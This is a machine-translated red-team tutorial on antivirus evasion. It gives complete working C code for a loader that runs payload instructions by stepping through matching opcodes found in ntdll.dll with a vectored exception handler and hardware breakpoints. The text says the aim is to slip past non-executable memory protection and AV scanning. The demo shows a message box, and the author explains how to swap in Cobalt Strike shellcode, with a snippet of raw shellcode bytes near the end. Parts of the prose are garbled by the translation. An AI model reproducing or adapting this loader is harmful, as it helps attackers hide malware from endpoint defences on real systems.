Red team kill free training Chapter 1 - non executable shellcode

Close to the whole country hw, there will be a series of training articles on the free killing of the red team in the future. I hope you can avoid it indiscriminately on the field and will not release the ready-made loader, but the example is a good loader. Once again, free killing is not a unique talent of a technology, but a hundred flowers bloom!

preface:

Here, we will implement the kill free loader of CS as usual, because it is very convenient to use the existing c2 framework. Of course, the c2 framework developed by yourself is also OK. It must also have the function of generating shellcode, and it also needs memory execution.

Today's principle is based on ntdll DLL first instructions to execute our code. The malicious code is stored in the data part. The advantage of this technology is that we bypass the non executable memory protection and static code analysis. This technology is a little pwn using the chain. All pwn who have played know that when we go to rop to construct the chain, we find the original assembly code of the file and use it through the address, We want to achieve the effect of combined utilization. The advantage is that the addresses of all instructions we run in memory are scattered, which has the effect of resisting killing soft memory scanning, because this method has deviated from the traditional allocation of executable memory space, and then put shellcode into execution. There is no executable allocated memory area for scanning, The killing free effect is very good.

Principle and preparation:

Required windows api

‚Äč 1. Rtladdvectorexception handler this is used to add a custom exception handler

Workflow:

1. Create a data structure containing all the assembly instructions we want to execute.

  1. In ntdll The address of each DLL in the above instruction segment is searched and stored.

  2. Add a custom exception handler to our program using rtladdvectorexception handler

  3. Trigger breakpoint with int 3

  4. The program has now entered our custom exception handler to store the original thread context for later use

  5. Set the EIP register to the first target instruction in the list (in ntdll.dll)

  6. If the current instruction is "call", set the hardware breakpoint directly on the instruction using Dr0 debug register after the call - we want to "skip" the call. Otherwise, use EFlags |= 0x100 to set the single step flag to interrupt the next instruction

  7. Update the value of any other registers required by the current instruction

  8. Use EXCEPTION_CONTINUE_EXECUTION continues. The next instruction will throw another exception, and we will go back to step 6 to continue until all instructions run in sequence.

  9. After all target instructions are executed, restore the original thread context from step 5 to continue the original process of the program.

In short, add a custom exception handler to our program through rtladdvectorexception handler, then save the context, and then execute it through the assembly instruction address found. After execution, the exception handler will be raised to execute other instructions. After all instructions are executed, the saved state will be restored directly, The assembly instructions we want to execute are stored in the structure.

Reference code (the following structure holds the assembly code example of the bullet box):

InstructionEntryStruct Global_InstructionList[] =
{
	// Allocate 1kb buffer for message box header using GlobalAlloc
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
	{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

	// Set the pop-up Titie "gamma lab"
	{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },

	// Store the message box title ptr in the edi register
	{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },

	//Allocate 1kb buffer for message box text using GlobalAlloc
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
	{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

	// Set the text content of the message box to "gamma labredteam"
	{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },



	// Call MessageBoxA
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },
	{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },
	{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

You can see that the structure header is defined as follows:

struct InstructionEntryStruct
{
	char *pLabel;
	BYTE bInstruction[16];
	DWORD dwInstructionLength;
	DWORD dwInstructionAddr;
	DWORD dwEax;
	DWORD dwEbx;
	DWORD dwEcx;
	DWORD dwEdx;
	DWORD dwEdi;
	DWORD dwEsi;
	DWORD dwInstructionFlags;
};

pLabel: this field is only used for recording / debugging purposes. You can see which instruction is wrong at that time

bInstruction: this field contains the opcode of the assembly instruction, such as 0x50 of push eax

dwInstructionLength: the length of the bInstruction field

dwInstructionAddr: this field is populated by the program - scan ntdll DLL to find the address of the matching instruction

dwEax / dwEbx / dwEcx / dwEdx / dwEdi / dwEsi these fields set the specified register value before the current instruction is executed.

dwInstructionFlags: this field specifies which register values should be updated. It is also used to specify whether the current instruction is called.

But from ntdll There are limitations in finding the code we want in DLL memory. For example, some special data cannot be found in the existing memory. At this time, it is necessary to operate the register and change the value of the register in the exception handler before executing the instruction.

Actual code example:

shellcode example code of bullet box:

#include <stdio.h>
#include <windows.h>

#define FLAG_EAX 0x00000001
#define FLAG_EBX 0x00000002
#define FLAG_ECX 0x00000004
#define FLAG_EDX 0x00000008
#define FLAG_EDI 0x00000010
#define FLAG_ESI 0x00000020
#define FLAG_CALL 0x00000040

struct InstructionEntryStruct
{
	const char* pLabel;
	BYTE bInstruction[16];
	DWORD dwInstructionLength;
	DWORD dwInstructionAddr;
	DWORD dwEax;
	DWORD dwEbx;
	DWORD dwEcx;
	DWORD dwEdx;
	DWORD dwEdi;
	DWORD dwEsi;
	DWORD dwInstructionFlags;
};
DWORD dwGlobal_CurrInstruction = 0;
CONTEXT Global_OrigContext;
InstructionEntryStruct Global_InstructionList[] =
{
	// Allocate 1kb buffer for message box header using GlobalAlloc
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
	{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

	// Set the pop-up Titie "gamma lab"
	{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },

	// Store the message box title ptr in the edi register
	{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },

	//Allocate 1kb buffer for message box text using GlobalAlloc
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
	{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

	// Set the text content of the message box to "gamma labredteam"
	{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },
	{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },



	// Call MessageBoxA
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },
	{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
	{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },
	{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

LONG WINAPI ExceptionHandler(EXCEPTION_POINTERS* pExceptionInfo)
{
	InstructionEntryStruct* pCurrInstruction = NULL;

	// Make sure this is a breakpoint / step exception
	if (pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_BREAKPOINT && pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
	{
		// This is not the exception we expected, so pass this exception to the next handler
		return EXCEPTION_CONTINUE_SEARCH;
	}
	// Reset hardware breakpoints
	pExceptionInfo->ContextRecord->Dr0 = 0;
	pExceptionInfo->ContextRecord->Dr7 = 0;

	if (dwGlobal_CurrInstruction == 0)
	{
		// Store original context
		memcpy((void*)&Global_OrigContext, (void*)pExceptionInfo->ContextRecord, sizeof(CONTEXT));
	}
	else if (dwGlobal_CurrInstruction >= (sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0])))
	{
		// Complete execution of all instructions - restore original context
		memcpy((void*)pExceptionInfo->ContextRecord, (void*)&Global_OrigContext, sizeof(CONTEXT));

		// Move to the next instruction (after int3)
		pExceptionInfo->ContextRecord->Eip++;

		// Continue execution
		return EXCEPTION_CONTINUE_EXECUTION;
	}

	// Get current instruction entry
	pCurrInstruction = &Global_InstructionList[dwGlobal_CurrInstruction];


	// Set instruction ptr to the next instruction
	pExceptionInfo->ContextRecord->Eip = pCurrInstruction->dwInstructionAddr;

	// Check registration mark
	if (pCurrInstruction->dwInstructionFlags & FLAG_EAX)
	{
		//Set eax
		printf("<InternalExHandler> mov eax, 0x%x\n", pCurrInstruction->dwEax);
		pExceptionInfo->ContextRecord->Eax = pCurrInstruction->dwEax;
	}
	else if (pCurrInstruction->dwInstructionFlags & FLAG_EBX)
	{
		// Set ebx
		printf("<InternalExHandler> mov ebx, 0x%x\n", pCurrInstruction->dwEbx);
		pExceptionInfo->ContextRecord->Ebx = pCurrInstruction->dwEbx;
	}
	else if (pCurrInstruction->dwInstructionFlags & FLAG_ECX)
	{
		// Set ecx
		printf("<InternalExHandler> mov ecx, 0x%x\n", pCurrInstruction->dwEcx);
		pExceptionInfo->ContextRecord->Ecx = pCurrInstruction->dwEcx;
	}
	else if (pCurrInstruction->dwInstructionFlags & FLAG_EDX)
	{
		// Set edx
		printf("<InternalExHandler> mov edx, 0x%x\n", pCurrInstruction->dwEdx);
		pExceptionInfo->ContextRecord->Edx = pCurrInstruction->dwEdx;
	}
	else if (pCurrInstruction->dwInstructionFlags & FLAG_EDI)
	{
		// Set edi
		printf("<InternalExHandler> mov edi, 0x%x\n", pCurrInstruction->dwEdi);
		pExceptionInfo->ContextRecord->Edi = pCurrInstruction->dwEdi;
	}
	else if (pCurrInstruction->dwInstructionFlags & FLAG_ESI)
	{
		// Set esi
		printf("<InternalExHandler> mov esi, 0x%x\n", pCurrInstruction->dwEsi);
		pExceptionInfo->ContextRecord->Esi = pCurrInstruction->dwEsi;
	}

	// Print current command label
	printf("<ntdll: 0x%08X> %s\n", pCurrInstruction->dwInstructionAddr, pCurrInstruction->pLabel);

	// Check if this is a "call" instruction
	if (pCurrInstruction->dwInstructionFlags & FLAG_CALL)
	{
		// Set the "breakpoint" on the first instruction after the hardware call
		pExceptionInfo->ContextRecord->Dr0 = pCurrInstruction->dwInstructionAddr + pCurrInstruction->dwInstructionLength;
		pExceptionInfo->ContextRecord->Dr7 = 1;
	}
	else
	{
		// One small step
		pExceptionInfo->ContextRecord->EFlags |= 0x100;
	}
	//Move to next instruction
	dwGlobal_CurrInstruction++;
	//Continue execution
	return EXCEPTION_CONTINUE_EXECUTION;
}

DWORD GetModuleCodeSection(DWORD dwModuleBase, DWORD* pdwCodeSectionStart, DWORD* pdwCodeSectionLength)
{
	IMAGE_DOS_HEADER* pDosHeader = NULL;
	IMAGE_NT_HEADERS* pNtHeader = NULL;
	IMAGE_SECTION_HEADER* pCurrSectionHeader = NULL;
	char szCurrSectionName[16];
	DWORD dwFound = 0;
	DWORD dwCodeSectionStart = 0;
	DWORD dwCodeSectionLength = 0;
	// Get dos header ptr (module start)
	pDosHeader = (IMAGE_DOS_HEADER*)dwModuleBase;
	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		return 1;
	}
	// Get nt header pointer
	pNtHeader = (IMAGE_NT_HEADERS*)((BYTE*)pDosHeader + pDosHeader->e_lfanew);
	if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
	{
		return 1;
	}
	// Loop through all parts
	for (DWORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
	{
		// Get current section title
		pCurrSectionHeader = (IMAGE_SECTION_HEADER*)((BYTE*)pNtHeader + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));

		// Pcurrsectionheader - > if all 8 characters are used, the name does not end with null - copy it to a larger local buffer
		memset(szCurrSectionName, 0, sizeof(szCurrSectionName));
		memcpy(szCurrSectionName, pCurrSectionHeader->Name, sizeof(pCurrSectionHeader->Name));

		// Check if this is the main code part
		if (strcmp(szCurrSectionName, ".text") == 0)
		{
			// Code snippet found
			dwFound = 1;
			dwCodeSectionStart = dwModuleBase + pCurrSectionHeader->VirtualAddress;
			dwCodeSectionLength = pCurrSectionHeader->SizeOfRawData;
			break;
		}
	}

	// Make sure you find the code section
	if (dwFound == 0)
	{
		return 1;
	}
	// Stored value
	*pdwCodeSectionStart = dwCodeSectionStart;
	*pdwCodeSectionLength = dwCodeSectionLength;
	return 0;
}

DWORD ScanForInstructions()
{
	DWORD dwInstructionCount = 0;
	DWORD dwCurrSearchPos = 0;
	DWORD dwBytesRemaining = 0;
	DWORD dwFoundAddr = 0;
	DWORD dwCodeSectionStart = 0;
	DWORD dwCodeSectionLength = 0;

	// Count instructions
	dwInstructionCount = sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0]);

	// Find ntdll snippet range
	if (GetModuleCodeSection((DWORD)GetModuleHandle("ntdll.dll"), &dwCodeSectionStart, &dwCodeSectionLength) != 0)
	{
		printf("1111");
		return 1;
	}

	// Scan instruction
	for (DWORD i = 0; i < dwInstructionCount; i++)
	{
		// Check whether the address of the instruction has been found
		if (Global_InstructionList[i].dwInstructionAddr != 0)
		{
			continue;
		}
		// Find this instruction in the ntdll code section
		dwCurrSearchPos = dwCodeSectionStart;
		dwBytesRemaining = dwCodeSectionLength;
		dwFoundAddr = 0;
		for (;;)
		{
			// Check that the end of the code snippet has been reached
			if (Global_InstructionList[i].dwInstructionLength > dwBytesRemaining)
			{
				break;
			}
			// Check if the instruction exists here
			if (memcmp((void*)dwCurrSearchPos, (void*)Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0)
			{
				dwFoundAddr = dwCurrSearchPos;
				break;
			}

			// Update search index
			dwCurrSearchPos++;
			dwBytesRemaining--;
		}

		// Make sure the opcode is found
		if (dwFoundAddr == 0)
		{
			printf("Error: Instruction not found in ntdll: '%s'\n", Global_InstructionList[i].pLabel);

			return 1;
		}

		// store address
		Global_InstructionList[i].dwInstructionAddr = dwFoundAddr;

		// Copy this instruction address to any other matching instruction in the list
		for (DWORD ii = 0; ii < dwInstructionCount; ii++)
		{
			// Check whether the instruction length matches
			if (Global_InstructionList[ii].dwInstructionLength == Global_InstructionList[i].dwInstructionLength)
			{
				// Check whether the instruction opcodes match
				if (memcmp(Global_InstructionList[ii].bInstruction, Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0)
				{
					// Copy instruction address
					Global_InstructionList[ii].dwInstructionAddr = Global_InstructionList[i].dwInstructionAddr;
				}
			}
		}
	}
	return 0;
}

int main()
{
	PVOID(WINAPI * RtlAddVectoredExceptionHandler)(DWORD dwFirstHandler, void* pExceptionHandler);
	DWORD dwThreadID = 0;
	HANDLE hThread = NULL;
	// Get rtladdvectorexception handler function ptr
	RtlAddVectoredExceptionHandler = (void* (__stdcall*)(unsigned long, void*))GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAddVectoredExceptionHandler");
	if (RtlAddVectoredExceptionHandler == NULL)
	{
		return 1;
	}

	// Add exception handler
	if (RtlAddVectoredExceptionHandler(1, (void*)ExceptionHandler) == NULL)
	{
		return 1;
	}

	// Scan ntdll fill instruction list
	if (ScanForInstructions() != 0)
	{
		return 1;
	}

	//The breakpoint that triggers the exception handler
	_asm int 3
	return 0;
}

Effect display:

[the external chain image transfer fails, and the source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-toeprsc8-1646461310426) (C: \ users \ administrator \ appdata \ roaming \ typora \ typora user images \ image-20220304000408978. PNG)]

By analogy, we convert cs shellcode into assembly, and then put it into the structure, so we can go online.

I will not put the code of my actual kill free loader here. It is very simple. Just convert the shellcode into assembly code and fill it in

To convert shellcode into assembly code, you can refer to the following python code and use capstone Library:

from capstone import *
shellcode = ""
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
